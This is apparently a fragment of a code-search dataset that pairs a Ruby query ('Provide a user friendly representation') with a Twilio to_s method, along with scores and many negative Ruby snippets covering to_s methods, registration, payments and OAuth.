"def get_single_calendar_event_or_assignment(id,opts={})\n query_param_keys = [\n \n ]\n\n form_param_keys = [\n \n ]\n\n # verify existence of params\n raise \"id is required\" if id.nil?\n # set default values and merge with input\n options = underscored_merge_opts(opts,\n :id => id\n )\n\n # resource path\n path = path_replace(\"/v1/calendar_events/{id}\",\n :id => id)\n headers = nil\n form_params = select_params(options, form_param_keys)\n query_params = select_params(options, query_param_keys)\n if opts[:next_page]\n pagination_params = page_params_load(:get, path)\n query_params.merge! pagination_params if pagination_params\n end\n response = mixed_request(:get, path, query_params, form_params, headers)\n page_params_store(:get, path)\n CalendarEvent.new(response)\n end"
] |
[
"0.576668",
"0.561302",
"0.5449672",
"0.53009444",
"0.52841675",
"0.52841675",
"0.52841675",
"0.52841675",
"0.52841675",
"0.52841675",
"0.52441454",
"0.52355796",
"0.52255195",
"0.5224125",
"0.52055943",
"0.5170357",
"0.5111265",
"0.50909257",
"0.50413096",
"0.5038781",
"0.4986325",
"0.49850267",
"0.49850267",
"0.49712124",
"0.4947923",
"0.49447805",
"0.49400353",
"0.49251917",
"0.49103376",
"0.49082515",
"0.49054644",
"0.48916268",
"0.48780262",
"0.48779476",
"0.48700947",
"0.48569587",
"0.4838271",
"0.48313418",
"0.48250675",
"0.48193774",
"0.48002055",
"0.48002055",
"0.4787491",
"0.47724447",
"0.47724447",
"0.47724447",
"0.47724447",
"0.47704396",
"0.47530657",
"0.473097",
"0.47000295",
"0.46954662",
"0.46683064",
"0.46678105",
"0.46628138",
"0.46617153",
"0.464902",
"0.4647085",
"0.4644157",
"0.4641992",
"0.46357778",
"0.4583984",
"0.45823148",
"0.4580049",
"0.4572696",
"0.4564224",
"0.45551127",
"0.45426583",
"0.454168",
"0.454168",
"0.45292792",
"0.4528142",
"0.45213538",
"0.45174468",
"0.45141497",
"0.45050964",
"0.45037648",
"0.44833726",
"0.44728392",
"0.44647384",
"0.44511738",
"0.44490102",
"0.44478777",
"0.44407576",
"0.4434928",
"0.44238913",
"0.4423634",
"0.4411541",
"0.44040188",
"0.43999854",
"0.4393226",
"0.4391658",
"0.43836895",
"0.43822035",
"0.43789077",
"0.4376566",
"0.43765318",
"0.4368452",
"0.4368452",
"0.4362718"
] |
0.59264374
|
0
|
Provide a user friendly representation
|
def to_s
'#<Twilio.Messaging.V1.BrandRegistrationOtpList>'
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def to_display\n raise NotImplementedError\n end",
"def to_s; description end",
"def toString\n #Not sure if we want this or just use the getters for more\n #selective formatting\n end",
"def to_s\n super\n end",
"def to_s\n super\n end",
"def to_s\n \"#{@name}, \" \\\n \"#{model.upcase}: \" \\\n \"#{data.values.join(\"/\")}, \" \\\n \":#{@type}\"\n end",
"def to_s\n\t\tsuper\n\tend",
"def to_s\r\n \"<#{self.class.name} id: #{self[:id]}, description: #{self[:description]}, definition: #{self[:definition]}, has_inverse: #{self[:has_inverse]} accuracy: #{self[:accuracy]}\"\r\n end",
"def render\n inspect\n end",
"def to_s\n pieces = []\n pieces << self.class.name\n pieces << \"id:##{id.inspect}\"\n pieces << \"standardized:\" + (is_standard? ? 'standard' : (standard_id.nil? ? 'no' : \"copy-of-#{standard_id}\"))\n pieces << \"mission:#{mission_id.inspect}\"\n pieces.join(', ')\n end",
"def format; end",
"def format; end",
"def format; end",
"def format; end",
"def format; end",
"def format; end",
"def format; end",
"def format; end",
"def rendered_format; end",
"def rendered_format; end",
"def to_s\n render\n end",
"def to_s\n return super\n end",
"def display_string\n display = [self.name]\n display << self.description if self.description && self.type == 'StorageType'\n display << self.software if self.software && self.type == 'DatabaseType'\n cpu = self.cpu_values_string\n display << \"CPU: #{cpu}\" unless cpu.blank? || self.type == 'StorageType'\n display << \"RAM: #{self.memory} GB\" if self.memory && self.type != 'StorageType'\n hdd = self.hdd_values_string\n display << \"HDD: #{hdd}\" unless hdd.blank?\n display << self.operating_system if self.operating_system && self.type != 'StorageType'\n display.join(', ')\n end",
"def to_s\n 'Id: ' + @id.to_s +\n ', Expires on: ' + display_expiry_date +\n ', Level: ' + map_number_to_word_level(@level) +\n ', Number of days left to expire: ' + display_num_of_days_left +\n ', Description: ' + @description % self\n end",
"def humanize\n # TODO\n # Inflector.humanize(self)\n end",
"def to_s\n\t\tdescription\n\tend",
"def to_s\n\t\tdescription\n\tend",
"def to_s\n %(<#{ @name }#{attributes}>)\n end",
"def to_s\n %w( name display_name uuid ).collect { |k| \"#{k}=#{ self.send(k) }\" }.join(' | ') + \" | types=#{ types.join(',') }\"\n end",
"def to_s\n long_display\n end",
"def to_s\n long_display\n end",
"def to_s\n long_display\n end",
"def to_s\n long_display\n end",
"def to_s\n self.name.to_s || super\n end",
"def to_s\n descr\n end",
"def to_s\n self.name.humanize\n end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s ; format ; end",
"def formatted_name\n \"#{self.id} - #{self.name}\"\n #This is used to bring value on each page.\n end",
"def to_s\n\t\t\"#{self.name}\"\n\tend",
"def to_s\n \n end",
"def to_s\n self.name || super\n end",
"def to_s\n self.name || super\n end",
"def to_s\n return \"#{@name} - #{@description} : #{@rating}\"\n end",
"def inspect; to_s; end",
"def inspect; to_s; end",
"def inspect; to_s; end",
"def inspect; to_s; end",
"def inspect; to_s; end",
"def to_s\n raise NotImplementedError\n end",
"def short_inspect\n attrs = []\n attrs << [\"id\", id || \"new_record\"]\n\n string_attr = proc { |value| '\"' + TextHelpers.truncate(value, :length => 10) + '\"' }\n\n if respond_to?(:name) && name.present?\n attrs << [\"name\", string_attr[name]]\n elsif respond_to?(:title) && title.present?\n attrs << [\"title\", string_attr[title]]\n end\n\n \"#<#{ self.class } #{ attrs.map { |name, value| \"#{ name }: #{ value }\" }.join(\", \") }>\"\n end"
] |
[
"0.70430577",
"0.7025487",
"0.7008232",
"0.7007793",
"0.69441473",
"0.6917163",
"0.68431",
"0.6797009",
"0.6655106",
"0.66227216",
"0.6618043",
"0.6618043",
"0.6618043",
"0.6618043",
"0.6618043",
"0.6618043",
"0.6618043",
"0.6618043",
"0.660979",
"0.660979",
"0.6585346",
"0.65730983",
"0.65662885",
"0.65404147",
"0.65379703",
"0.651875",
"0.651875",
"0.6516385",
"0.6501134",
"0.65010244",
"0.65010244",
"0.65010244",
"0.65010244",
"0.64861107",
"0.6478101",
"0.64581114",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6442197",
"0.64329034",
"0.64289695",
"0.64203346",
"0.6419349",
"0.6419349",
"0.6418417",
"0.64115626",
"0.64115626",
"0.64115626",
"0.64115626",
"0.64115626",
"0.64071685",
"0.63947713"
] |
0.0
|
-1
|
Build an instance of BrandRegistrationOtpInstance
|
def get_instance(payload)
BrandRegistrationOtpInstance.new(@version, payload, brand_registration_sid: @solution[:brand_registration_sid])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def inspect\n \"<Twilio.Messaging.V1.BrandRegistrationOtpInstance>\"\n end",
"def to_s\n \"<Twilio.Messaging.V1.BrandRegistrationOtpInstance>\"\n end",
"def to_s\n '#<Twilio.Messaging.V1.BrandRegistrationOtpList>'\n end",
"def to_s\n '<Twilio.Messaging.V1.BrandRegistrationOtpPage>'\n end",
"def new\n # brand instance\n @brand = Brand.new\n end",
"def create_provider_account\n provider_account = FactoryBot.create(:provider_with_billing)\n\n provider_account.gateway_setting.attributes = {\n gateway_type: :authorize_net,\n gateway_settings: { login: 'foo', password: 'bar' }\n } # to prevent ActiveRecord::RecordInvalid since the payment gateway has been deprecated\n provider_account.gateway_setting.save!(validate: false) # We cannot use update_columns with Oracle\n\n plan = FactoryBot.create(:application_plan, :issuer => provider_account.default_service)\n\n [provider_account, plan]\n end",
"def build_payer\n user = @payment.user\n\n MyMoip::Payer.new(\n id: user.id,\n name: user.name,\n email: user.email,\n address_street: user.street,\n address_street_number: user.number,\n address_street_extra: user.complement,\n address_neighbourhood: user.neighborhood,\n address_city: user.city,\n address_state: user.uf,\n address_country: 'BRA',\n address_cep: user.postal_code,\n address_phone: user.phone\n )\n end",
"def build_payment_object_from_payment_type\n if self.sender && self.payment_type == :piggy_bank\n self.payment_object = self.sender.piggy_bank\n end\n end",
"def initialize_braintree_obj\n @gateway = ::Braintree::Gateway.new(\n :environment => @environment,\n :merchant_id => @merchant_id,\n :public_key => @public_key,\n :private_key => @private_key\n )\n end",
"def initialize\n @first_name = Forgery::Name.first_name\n @last_name = Forgery(:basic).password(:at_least => 6, :at_most => 8)\n @full_name = \"#@first_name #@last_name\"\n @type = 'Visa'\n @number = Forgery::CreditCard.number(:type => 'Visa', :length => 16, :prefixes => %w\"470758 473099 475034 474480 477462\").to_s\n @cvv = Random.new.rand(100..999).to_s\n @cvv2 = ''\n @expire_month = Forgery::Date.month(:numerical => true).to_s\n @expire_year = Forgery::Date.year(:future => true, :past => false, :min_delta => 1, :max_delta => 5).to_s\n @last_four_digits = @number[12..-1]\n end",
"def create\n @bridal_registry = Spree::BridalRegistry.new bridal_registry_attributes\n @bridal_registry.user = spree_current_user\n @bridal_registry.save\n respond_with(@bridal_registry)\n end",
"def generate_registration_token\n candidate_token = nil\n\n while candidate_token.nil?\n candidate_token = SecureRandom.hex(3).upcase\n candidate_token = nil unless Device.find_by(registration_token: candidate_token).nil?\n end\n\n self.registration_token = candidate_token\n end",
"def initialize(brand)\n @brand = brand\n end",
"def initialize(brand)\n @brand = brand\n end",
"def registration\n @registration ||= EbanqApi::Registration.new(self)\n end",
"def new\n @baby_sitter = BabySitterRegistration.new\n end",
"def test_create_widget\n widget = @twizo.create_registration_widget(nil)\n\n test_recipient = NUMBER1\n\n widget.params.recipient = test_recipient\n\n widget = widget.send\n\n assert_equal test_recipient, widget.recipient\n assert_not_nil widget.sessionToken\n end",
"def initialize\n super\n if Lynr.features.demo?\n self.send(:extend, Signup::Demo)\n else\n self.send(:extend, Signup::Default)\n end\n end",
"def sign_up\n NexaasID::Resources::SignUp.new(api_token, config)\n end",
"def call\n add_fields(confirm_registration: true)\n end",
"def build_signup_address(attrs={})\n self.signup_address = Address.new(attrs)\n end",
"def create_from_oauth\n if stored_anonymous_user?\n user, from_registration = update_from_omniauth(env[\"omniauth.auth\"], params[:provider])\n else\n user, from_registration = create_from_omniauth(env[\"omniauth.auth\"], params[:provider])\n end\n\n if user.errors.any?\n redirect_to_registration_page(user)\n else\n change_global_user_id(user.id)\n sign_in(user)\n fandom_play_login(user)\n \n if from_registration\n log_data = { 'form_data' => env[\"omniauth.auth\"], 'user_id' => current_user.id }\n log_synced(\"registration from oauth\", adjust_user_and_log_data_with_utm(user, log_data))\n\n set_account_up()\n cookies[:from_registration] = true \n end\n\n if $site.force_facebook_tab && !request_is_from_mobile_device?(request)\n redirect_to request.site.force_facebook_tab\n else\n redirect_after_oauth_successful_login()\n end\n end\n end",
"def create(options=nil)\n valid_param?(:options, options, Hash, true)\n if not options[:brand_alias]\n raise_invalid_request(\"brand_alias must be provided\")\n end\n if not options[:brand_type]\n raise_invalid_request(\"brand_type must be provided\")\n end\n if not options[:profile_uuid]\n raise_invalid_request(\"profile_uuid must be provided\")\n end\n perform_create(options)\n end",
"def build\n set_action(:build)\n validate_account_type!\n new_account\n assign_params\n build_account_users\n set_affiliate\n set_created_by\n set_facility\n\n after_build\n account\n end",
"def initialize\n @name = \"#{Forgery::Name.company_name} Company #{Time.now.strftime(\"%m%d-%H%M-%S\")}\"\n @address= Forgery::Address.street_address\n @city = Forgery::Address.city\n @state_abbrev = Forgery::Address.state_abbrev\n @state = Forgery::Address.state\n @country = \"United States\"\n @zip = Random.new.rand(10000..99999).to_s\n @phone = Forgery::Address.phone\n @vat_num = \"\"\n @security = 'Standard'\n end",
"def initiate_registeration_in_saas\n\n @parent_tx_activity_type = GlobalConstant::CriticalChainInteractions.propose_bt_activity_type\n\n params = {\n token_symbol: @client_token.symbol,\n client_id: @client_token.client_id,\n client_token_id: @client_token.id,\n stake_and_mint_params: {\n bt_to_mint: @bt_to_mint,\n st_prime_to_mint: @st_prime_to_mint,\n client_eth_address: @client_eth_address,\n transaction_hash: @transaction_hash\n },\n airdrop_params: {\n airdrop_amount: @airdrop_amount,\n airdrop_user_list_type: @airdrop_user_list_type\n }\n }\n\n SaasApi::OnBoarding::Start.new.perform(params)\n\n end",
"def create_registration_token_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ManagementPlaneApiAaaApi.create_registration_token ...'\n end\n # resource path\n local_var_path = '/aaa/registration-token'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'RegistrationToken')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ManagementPlaneApiAaaApi#create_registration_token\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def create\n @otp = Otp.new(otp_params)\n\n respond_to do |format|\n if @otp.save\n format.html { redirect_to @otp, notice: 'Otp was successfully created.' }\n format.json { render :show, status: :created, location: @otp }\n else\n format.html { render :new }\n format.json { render json: @otp.errors, status: :unprocessable_entity }\n end\n end\n end",
"def build_register_body\n signable_str = self.signable_string\n {\n :type => :client_associate,\n :signed_string => Base64.encode64(signable_str),\n :signature => Base64.encode64(LygneoClient.sign(signable_str))\n }\n end",
"def create_twiki_account\n require 'mechanize'\n agent = Mechanize.new\n agent.basic_auth(TWIKI_USERNAME, TWIKI_PASSWORD)\n agent.get(TWIKI_URL + '/do/view/TWiki/TWikiRegistration') do |page|\n registration_result = page.form_with(:action => '/do/register/Main/WebHome') do |registration|\n registration.Twk1FirstName = self.first_name\n registration.Twk1LastName = self.last_name\n registration.Twk1WikiName = self.twiki_name\n registration.Twk1Email = self.email\n registration.Twk0Password = 'just4now'\n registration.Twk0Confirm = 'justb4now'\n registration.Twk1Country = 'USA'\n # registration.action = 'register'\n # registration.topic = 'TWikiRegistration'\n # registration.rx = '%BLACKLISTPLUGIN{ action=\\\"magic\\\" }%'\n end.submit\n # #<WWW::Mechanize::Page::Link \"AndrewCarnegie\" \"/do/view/Main/AndrewCarnegie\">\n link = registration_result.link_with(:text => self.twiki_name)\n if link.nil?\n #the user probably already exists\n pp registration_result\n return false\n end\n self.twiki_created = Time.now()\n self.save_without_session_maintenance\n return true\n end\n\n\n end",
"def create_twiki_account\n require 'mechanize'\n agent = Mechanize.new\n agent.basic_auth(TWIKI_USERNAME, TWIKI_PASSWORD)\n agent.get(TWIKI_URL + '/do/view/TWiki/TWikiRegistration') do |page|\n registration_result = page.form_with(:action => '/do/register/Main/WebHome') do |registration|\n registration.Twk1FirstName = self.first_name\n registration.Twk1LastName = self.last_name\n registration.Twk1WikiName = self.twiki_name\n registration.Twk1Email = self.email\n registration.Twk0Password = 'just4now'\n registration.Twk0Confirm = 'just4now'\n registration.Twk1Country = 'USA'\n # registration.action = 'register'\n # registration.topic = 'TWikiRegistration'\n # registration.rx = '%BLACKLISTPLUGIN{ action=\\\"magic\\\" }%'\n end.submit\n # #<WWW::Mechanize::Page::Link \"AndrewCarnegie\" \"/do/view/Main/AndrewCarnegie\">\n link = registration_result.link_with(:text => self.twiki_name)\n if link.nil?\n #the user probably already exists\n pp registration_result\n return false\n end\n self.twiki_created = Time.now()\n self.save\n return true\n end\n\n\n end",
"def generate_instance_request(instance, opts = {})\n uris = {}\n uris[\"uris\"] = \"973694b07429d91edf8203559a234ae8.192.168.12.34.xip.io\"\n # uuid = \n # arr = Array.new\n json = {\"uris\" => [\"973694b07429d91edf8203559a234ae8.192.168.12.34.xip.io\"]}\n { \"dea\" => \"bootstrap.uuid\",\n \"app\" => \"instance.application_id\",\n \"uris\" => json[\"uris\"],\n \"host\" => \"192.168.12.34\",\n \"port\" => 61015,\n \"tags\" => { \"component\" => \"dea-{bootstrap.config}\" },\n \"private_instance_id\" => \"84ef1bb842d65eff893fbb1a59723ffa5ebe87b5e0db6de830299d05c4b5d664\",\n }\n end",
"def build_resource(*args)\n super\n if session[\"devise.omni\"]\n @user.apply_omniauth(session[\"devise.omni\"])\n @user.valid?\n end\n end",
"def new\n @vendor = Vendor.new\n end",
"def company_registration\n @location = Location.new\n end",
"def signup\n @companion = Companion.new\n end",
"def register_with_et\r\n App.et[\"accounts\"].each_pair do |account_name, account_config|\r\n next unless account_config[:rsvp_guest_list]\r\n ETSubscriberAdd.create!(\r\n :account => account_name,\r\n :target => self,\r\n :properties => {\r\n :list_id => account_config[:rsvp_guest_list],\r\n :values => {\r\n :email_address => self.email,\r\n :cobrand => cobrand.short_name\r\n }\r\n }\r\n )\r\n end\r\n end",
"def initialize(instance, user: nil, password: nil, oauth_token: nil, client_id: nil, client_secret: nil, use_ssl: true)\n #instance example: https://dev99218.service-now.com\n instance_with_protocol = use_ssl ? \"https://#{instance}\" : \"http://#{instance}\"\n @instance = URI.parse(instance_with_protocol)\n @user = user\n @password = password\n if (client_id && client_secret && user && password)\n @oauth_token = get_token(client_id, client_secret)\n else\n @oauth_token = oauth_token\n end\n end",
"def sign_up\n request_params = {\n host_url_with_protocol: host_url_with_protocol,\n host_url: host_url,\n entity_type: GlobalConstant::TemplateType.registration_template_type\n }\n service_response = GlobalConstant::StTokenSale.get_client_details(request_params)\n\n # Check if error present or not?\n unless service_response.success?\n render_error_response(service_response)\n return\n end\n\n @presenter_obj = ::Web::Client::Setup.new(service_response, params)\n\n redirect_to '/token-sale-blocked-region', status: GlobalConstant::ErrorCode.temporary_redirect and return if @presenter_obj.is_blacklisted_ip?(get_ip_to_aml_countries)\n redirect_to \"/login\", status: GlobalConstant::ErrorCode.temporary_redirect and return if @presenter_obj.has_registration_ended?\n set_page_meta_info(@presenter_obj.custom_meta_tags)\n end",
"def create\n response = HTTParty.post(\"https://www.google.com/recaptcha/api/siteverify\", :body => {secret: ENV['G_RECAPTCHA_SECRET'], response: params['g-recaptcha-response']})\n puts response\n\n if response[\"success\"]\n puts \"calling super\"\n super \n puts \"sending email\"\n UserMailer.signed_up_email(resource).deliver\n flash.notice = \"Thanks for signing up. We've sent you a confirmation email to make sure you're human!\"\n\n # This might make more sense later down the road\n # It costs money to make an MxAccount so we're saving this for later\n # puts \"resource #{resource}\"\n # u = User.find(resource.id) \n # puts \"user #{u}\"\n # \n # puts \"creating mx guid\"\n # u.create_mx_guid\n # puts \"creating stripe id\"\n # u.create_stripe_id\n else\n puts \"failed\"\n flash.notice = \"We're sorry, there was an error signing you up! Call us directly and we'll get it fixed for you.\"\n end\n end",
"def create_activation_token\n payload = { email: self.email }\n self.activation_token = JsonWebToken.encode(payload)\n end",
"def get_instance(payload)\n OauthInstance.new(@version, payload)\n end",
"def create_from_oauth oauth\n create(\n email: oauth.email.downcase,\n display_name: oauth.display_name\n )\n end",
"def create\n @registration = Registration.new(registration_params)\n\n # Amount in cents\n @amount = @registration.subtype == 'team' ? 9000 : 5000\n\n # Disabled for now,\n # customer = Stripe::Customer.create(\n # :email => params[:stripeEmail],\n # :source => params[:stripeToken]\n # )\n #\n # charge = Stripe::Charge.create(\n # :customer => customer.id,\n # :amount => @amount,\n # :description => 'EnergyX Resolve To Row',\n # :currency => 'usd'\n # )\n #\n # @registration.is_paid = true if customer && charge\n # @registration.stripe_customer_id = customer.id\n # @registration.stripe_charge_id = charge.id\n\n respond_to do |format|\n if @registration.save\n format.html { redirect_to @registration, notice: 'We have successfully created your registration! You card HAS NOT BEEN CHARGED. Please Print this page for your records.' }\n format.json { render :show, status: :created, location: @registration }\n else\n format.html { render :new }\n format.json { render json: @registration.errors, status: :unprocessable_entity }\n end\n end\n\n rescue Stripe::CardError => e\n flash[:error] = e.message\n redirect_to new_registration_path(@registration)\n end",
"def register\n physical_entity = {name: @name, description: @description, location:@location}\n virtual_entity = {uuid: nil}\n body = {body: {device: {name: @name, \n description: @description, \n model_name: @model, \n location: @location,\n physical_entity_attributes: physical_entity,\n virtual_entity_attributes: virtual_entity}}}\n response = self.class.post(API+'/devices', body)\n @uuid = response['uuid']\n end",
"def build\n klass = create_class(@class_name, @options)\n klass.new\n end",
"def new\n @class_register = ClassRegister.new\n end",
"def build_account(data)\n Account.new(\n bank: self,\n id: data['numProd'],\n name: data['description'],\n available_balance: Money.new(data['availableBalance'] * 100, 'EUR'),\n balance: Money.new(data['balance'] * 100, 'EUR'),\n iban: data['iban']['ibanCode'],\n description: \"ARQUIA: #{data['description']}\"\n )\n end",
"def generate_token\n self.email_token = SecureRandom.hex(3)\n self.mobile_token = SecureRandom.hex(3)\n end",
"def build_register_payload(settings)\n puts 'Building REGISTER payload.'\n \n group_id= Env.instance['GROUP_ID']\n public_key = get_public_key\n root_public_key = get_root_public_key\n return if public_key.nil? || root_public_key.nil?\n return {\n group_id: group_id,\n password: Env.instance['GROUP_PASSWORD'],\n public_key: public_key,\n app_type: Env.instance['NODE_APP_TYPE'],\n config: settings.to_json,\n ip_addr: Env.instance['NODE_HOST'],\n port: Env.instance['NODE_PORT'],\n master_password: Env.instance['MASTER_PASSWORD'],\n root_public_key: root_public_key\n }.merge(ClusterProxy::Slave.get_resource_usage)\n end",
"def setup_data(login_as: :provider)\n @provider = FactoryBot.create(:provider_account)\n @buyer = FactoryBot.create(:buyer_account, provider_account: @provider, timezone: 'Mountain Time (US & Canada)')\n @app_plan = FactoryBot.create(:application_plan, issuer: @provider.default_service)\n @app = @buyer.buy! @app_plan\n\n host! @provider.external_admin_domain\n\n case login_as\n when :provider\n login_provider @provider\n when :buyer\n login_buyer @buyer\n end\n end",
"def create\n payment_url = params[:camp][:payment_url]\n @camp_registration = CampRegistration.new(CampRegistration.format_for_save(params[:camp_registration]))\n\n if @camp_registration.save\n CampRegistrationMailer.registration_email(@camp_registration).deliver unless @camp_registration.email.nil?\n redirect_to payment_url\n else\n @camp = RegistrationForm.find_by_id(@camp_registration.registration_form_id).camp\n render :action => \"new\"\n end\n end",
"def build_resource(hash = nil)\n self.resource = resource_class.new_with_session(hash || {}, session)\n auth = session['devise.google_data']\n self.resource = User.fill_from_omniauth(resource, auth) if auth\n end",
"def create_twiki_account\n require 'mechanize'\n agent = Mechanize.new\n agent.basic_auth(TWIKI_USERNAME, TWIKI_PASSWORD)\n agent.get(TWIKI_URL + '/do/view/TWiki/TWikiRegistration' ) do |page|\n registration_result = page.form_with(:action => '/do/register/Main/WebHome') do |registration|\n registration.Twk1FirstName = self.first_name\n registration.Twk1LastName = self.last_name\n registration.Twk1WikiName = self.twiki_name\n registration.Twk1Email = self.email\n registration.Twk0Password = 'just4now'\n registration.Twk0Confirm = 'just4now'\n registration.Twk1Country = 'USA'\n # registration.action = 'register'\n # registration.topic = 'TWikiRegistration'\n # registration.rx = '%BLACKLISTPLUGIN{ action=\\\"magic\\\" }%'\n end.submit\n # #<WWW::Mechanize::Page::Link \"AndrewCarnegie\" \"/do/view/Main/AndrewCarnegie\">\n link = registration_result.link_with(:text => self.twiki_name)\n if link.nil?\n #the user probably already exists\n pp registration_result\n return false\n end\n self.twiki_created = Time.now()\n self.save_without_session_maintenance\n return true\n end\n\n \n end",
"def build_from_email(email)\n new do |auth|\n auth.provider = 'email'\n auth.email = email\n auth.uid = email\n end\n end",
"def from_omniauth(auth)\n # Provider is the customer name if in loadbalanced config mode\n provider = auth['provider'] == \"bn_launcher\" ? auth['info']['customer'] : auth['provider']\n find_or_initialize_by(email: auth_email(auth)).tap do |u|\n u.social_uid = auth['uid']\n u.provider = provider\n u.last_name = auth_name(auth) unless u.last_name.present?\n u.first_name = auth_first_name(auth) unless u.first_name.present?\n u.username = auth_username(auth) unless u.username.present?\n u.image = auth_image(auth) unless u.image.present?\n u.business_name = u.auth_business unless u.business_name.present?\n auth_roles(u, auth)\n u.email_verified = true\n u.save!\n u.set_role :user\n end\n end",
"def check_captcha_for_devise_registration_create\n# DEBUG\n logger.debug( \"\\r\\n\\r\\n!! =====[ #{self.class.name}: check_captcha_for_devise_registration_create ]====\" )\n logger.debug( \"- resource...: \" << resource.inspect )\n logger.debug( \"- PARAMS.....: \" << params.inspect )\n\n unless verify_recaptcha\n self.resource = resource_class.new sign_up_params\n resource.validate # Look for any other validation errors besides Recaptcha\n set_minimum_password_length\n respond_with resource\n end\n end",
"def wizard_new\n \n @subtype=params[:sub_type]\n @package = \"\"\n @image = \"\"\n if @subtype == \"1\"\n @package = \"Basic Snack Pack\"\n @image = \"/../assets/new-design/img1-mem.jpg\"\n elsif @subtype == \"2\"\n @package = \"Double Snack Pack\"\n @image = \"/../assets/new-design/img1-mem.jpg\"\n else\n @package = \"Family Snack Pack\"\n @image = \"/../assets/new-design/img1-mem.jpg\"\n end\n @subscription = Subscription.find_by_id @subtype\n unless @subscription.blank?\n if request.env['omniauth.auth'].present?\n params = request.env[\"omniauth.params\"]\n\n @fb_data = fetch_facebook_params\n @user = Spree::User.where(email: @fb_data[:email]).first\n\n\n if (@user.blank? && params[\"login\"].present?) || (@user.present? && is_ordinary_user?(@user.facebook_token) && params[\"login\"].present?)\n\n #here need to check if it's a fb registered user + in params we must receive login\n #if !is_ordinary_user?(@user.facebook_token) && params[\"login\"].present?\n #use the @not_yet_fb_signed_up to notify the message at the top.\n\n @not_yet_fb_signed_up = true\n @user = Spree::User.new\n @user.addresses.build\n @user.creditcards.build\n\n #user does not registered yet & coming for signup(or login params is blank.)\n elsif @user.blank? && params[\"login\"].blank?\n @user = Spree::User.new(email: @fb_data[:email], facebook_token: @fb_data[:fb_token], image: @fb_data[:image])\n @user.addresses.build\n @user.creditcards.build\n @user.addresses.first.firstname = @fb_data[:firstname]\n @user.addresses.first.lastname = @fb_data[:lastname]\n\n #user is registered & still trying for signup via facebook\n elsif @user.present? && params[\"login\"].blank?\n @registered_email = @user.email\n @user = Spree::User.new\n @user.addresses.build\n @user.creditcards.build\n else\n #update the token if @user_founds token is not same as the @fb_token\n @user.update_attributes(facebook_token: @fb_data[:fb_token], image: @fb_data[:image]) if @user.facebook_token != @fb_data[:fb_token]\n sign_in(:spree_user, @user)\n redirect_to spree.snack_queue_orders_path\n end\n\n else\n @user = Spree::User.new\n @user.addresses.build\n @user.creditcards.build\n\n end\n \nelse\n redirect_to root_path\nend\n \n end",
"def gateway\n ActiveMerchant::Billing::Base.mode = :test\n\n @gateway ||= \n ActiveMerchant::Billing::PaypalRecurringGateway.new(\n :login => 'nk_tes_1218714620_biz_api1.mail.ru',\n :password => '1218714626',\n :signature => 'An5ns1Kso7MWUdW4ErQKJJJ4qi4-A-b1ANj9g14qW6XOboBut7nnhDdn'\n )\n @gateway\n end",
"def initialize(attributes={})\n @account_sid = Rails.application.secrets.twilio_account_id\n @auth_token = Rails.application.secrets.twilio_auth_token\n end",
"def initialize(options = {})\n ActiveMerchant.deprecated 'ARB functionality in ActiveMerchant is deprecated and will be removed in a future version. Please contact the ActiveMerchant maintainers if you have an interest in taking ownership of a separate gem that continues support for it.'\n requires!(options, :login, :password)\n super\n end",
"def register_device_token_for_vendor\n\t\t@owner = Vendor.where(:registration_code => params[:registration_code]).first\n\t\t@owner = Restaurant.where(:registration_code => params[:registration_code]).first if @owner.nil?\n\n\t\tif @owner.nil? \n\t\t\trender :json => { :error => \"incorrect_registration_code\" } \n\t\telse\n\t\t\t@device = Device.where(:token => params[:device_token]).first_or_create\n\t\t\t@device.update_owner @owner\n\t\t\t@device.save\n\n\t\t\trender :json => { :vendor_name => @device.owner.name, :vendor_id => @device.owner.id, :initial_state => @device.owner.initial_state, :is_open => @device.owner.open }\n\t\t\n\t\tend\n\tend",
"def build\n registry.register(type)\n end",
"def register\n params = Serializer.new(self).to_params\n Response.new Request.post(\"checkout\", params)\n end",
